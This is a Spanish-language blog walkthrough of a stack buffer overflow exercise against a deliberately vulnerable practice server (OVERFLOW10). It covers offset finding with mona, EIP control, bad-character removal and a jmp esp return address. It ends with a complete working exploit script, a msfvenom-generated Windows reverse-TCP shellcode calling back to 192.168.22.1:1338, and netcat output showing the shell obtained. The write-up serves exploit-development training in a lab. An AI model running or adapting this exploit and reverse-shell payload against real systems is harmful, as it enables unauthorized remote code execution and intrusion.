Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW10 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 537 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1000
[+] Command used:
!mona findmsp -distance 1000
[..]
[+] Examining registers
    EIP contains normal pattern : 0x41397241 (offset 537)
    ESP (0x0182fa30) points at offset 541 in normal pattern (length 459)
    EBP contains normal pattern : 0x38724137 (offset 533)
    EBX contains normal pattern : 0x72413672 (offset 529)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1000).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 537 + eip_ret + nops + padding * (1000-537-4) # junk 537, eip 4, padding 459 = 1000
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW10 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 509 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 537 + eip_ret + nops + padding * (1000 - 537 - 4 + 50) # 509 padding
# 537 junk, 4 eip_ret, padding 509 (shellcode + nops)
# total buffer = 1050
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW10 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1050 bytes de los cuales 509 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 537 + eip_ret + nops + badchars + padding * (1050 - 537 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW10 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\xa0\xad\xbe\xde\xef".

1
\x00\xa0\xad\xbe\xde\xef

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\xa0\xad\xbe\xde\xef"
!mona jmp -r esp -cpb "\x00\xa0\xad\xbe\xde\xef"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\xa0\xad\xbe\xde\xef"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 9 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x62501205)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\xa0\xad\xbe\xde\xef"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1488 bytes
unsigned char buf[] = 
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xdd\xa6\xc1\xce\x83\xee\xfc\xe2\xf4\x21\x4e\x43\xce\xdd\xa6"
"\xa1\x47\x38\x97\x01\xaa\x56\xf6\xf1\x45\x8f\xaa\x4a\x9c\xc9"
"\x2d\xb3\xe6\xd2\x11\x8b\xe8\xec\x59\x6d\xf2\xbc\xda\xc3\xe2"
"\xfd\x67\x0e\xc3\xdc\x61\x23\x3c\x8f\xf1\x4a\x9c\xcd\x2d\x8b"
"\xf2\x56\xea\xd0\xb6\x3e\xee\xc0\x1f\x8c\x2d\x98\xee\xdc\x75"
"\x4a\x87\xc5\x45\xfb\x87\x56\x92\x4a\xcf\x0b\x97\x3e\x62\x1c"
"\x69\xcc\xcf\x1a\x9e\x21\xbb\x2b\xa5\xbc\x36\xe6\xdb\xe5\xbb"
"\x39\xfe\x4a\x96\xf9\xa7\x12\xa8\x56\xaa\x8a\x45\x85\xba\xc0"
"\x1d\x56\xa2\x4a\xcf\x0d\x2f\x85\xea\xf9\xfd\x9a\xaf\x84\xfc"
"\x90\x31\x3d\xf9\x9e\x94\x56\xb4\x2a\x43\x80\xce\xf2\xfc\xdd"
"\xa6\xa9\xb9\xae\x94\x9e\x9a\xb5\xea\xb6\xe8\xda\x59\x14\x76"
"\x4d\xa7\xc1\xce\xf4\x62\x95\x9e\xb5\x8f\x41\xa5\xdd\x59\x14"
"\x9e\x8d\xf6\x91\x8e\x8d\xe6\x91\xa6\x37\xa9\x1e\x2e\x22\x73"
"\x56\xa4\xd8\xce\x01\x66\xcb\xa7\xa9\xcc\xdd\xa3\xfb\x47\x3b"
"\xcc\xd1\x98\x8a\xce\x58\x6b\xa9\xc7\x3e\x1b\x58\x66\xb5\xc2"
"\x22\xe8\xc9\xbb\x31\xce\x31\x7b\x7f\xf0\x3e\x1b\xb5\xc5\xac"
"\xaa\xdd\x2f\x22\x99\x8a\xf1\xf0\x38\xb7\xb4\x98\x98\x3f\x5b"
"\xa7\x09\x99\x82\xfd\xcf\xdc\x2b\x85\xea\xcd\x60\xc1\x8a\x89"
"\xf6\x97\x98\x8b\xe0\x97\x80\x8b\xf0\x92\x98\xb5\xdf\x0d\xf1"
"\x5b\x59\x14\x47\x3d\xe8\x97\x88\x22\x96\xa9\xc6\x5a\xbb\xa1"
"\x31\x08\x1d\x21\xd3\xf7\xac\xa9\x68\x48\x1b\x5c\x31\x08\x9a"
"\xc7\xb2\xd7\x26\x3a\x2e\xa8\xa3\x7a\x89\xce\xd4\xae\xa4\xdd"
"\xf5\x3e\x1b";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1050).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode = ("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xdd\xa6\xc1\xce\x83\xee\xfc\xe2\xf4\x21\x4e\x43\xce\xdd\xa6"
"\xa1\x47\x38\x97\x01\xaa\x56\xf6\xf1\x45\x8f\xaa\x4a\x9c\xc9"
"\x2d\xb3\xe6\xd2\x11\x8b\xe8\xec\x59\x6d\xf2\xbc\xda\xc3\xe2"
"\xfd\x67\x0e\xc3\xdc\x61\x23\x3c\x8f\xf1\x4a\x9c\xcd\x2d\x8b"
"\xf2\x56\xea\xd0\xb6\x3e\xee\xc0\x1f\x8c\x2d\x98\xee\xdc\x75"
"\x4a\x87\xc5\x45\xfb\x87\x56\x92\x4a\xcf\x0b\x97\x3e\x62\x1c"
"\x69\xcc\xcf\x1a\x9e\x21\xbb\x2b\xa5\xbc\x36\xe6\xdb\xe5\xbb"
"\x39\xfe\x4a\x96\xf9\xa7\x12\xa8\x56\xaa\x8a\x45\x85\xba\xc0"
"\x1d\x56\xa2\x4a\xcf\x0d\x2f\x85\xea\xf9\xfd\x9a\xaf\x84\xfc"
"\x90\x31\x3d\xf9\x9e\x94\x56\xb4\x2a\x43\x80\xce\xf2\xfc\xdd"
"\xa6\xa9\xb9\xae\x94\x9e\x9a\xb5\xea\xb6\xe8\xda\x59\x14\x76"
"\x4d\xa7\xc1\xce\xf4\x62\x95\x9e\xb5\x8f\x41\xa5\xdd\x59\x14"
"\x9e\x8d\xf6\x91\x8e\x8d\xe6\x91\xa6\x37\xa9\x1e\x2e\x22\x73"
"\x56\xa4\xd8\xce\x01\x66\xcb\xa7\xa9\xcc\xdd\xa3\xfb\x47\x3b"
"\xcc\xd1\x98\x8a\xce\x58\x6b\xa9\xc7\x3e\x1b\x58\x66\xb5\xc2"
"\x22\xe8\xc9\xbb\x31\xce\x31\x7b\x7f\xf0\x3e\x1b\xb5\xc5\xac"
"\xaa\xdd\x2f\x22\x99\x8a\xf1\xf0\x38\xb7\xb4\x98\x98\x3f\x5b"
"\xa7\x09\x99\x82\xfd\xcf\xdc\x2b\x85\xea\xcd\x60\xc1\x8a\x89"
"\xf6\x97\x98\x8b\xe0\x97\x80\x8b\xf0\x92\x98\xb5\xdf\x0d\xf1"
"\x5b\x59\x14\x47\x3d\xe8\x97\x88\x22\x96\xa9\xc6\x5a\xbb\xa1"
"\x31\x08\x1d\x21\xd3\xf7\xac\xa9\x68\x48\x1b\x5c\x31\x08\x9a"
"\xc7\xb2\xd7\x26\x3a\x2e\xa8\xa3\x7a\x89\xce\xd4\xae\xa4\xdd"
"\xf5\x3e\x1b")

eip_ret = pack("<L",0x62501205)
nops  = "\x90" * 16
padding = "C"

buff = "A" * 537 + eip_ret + nops + shellcode + padding * (1050 - 537 - 4 - 16 - 348) 
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW10 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_10 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49189
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe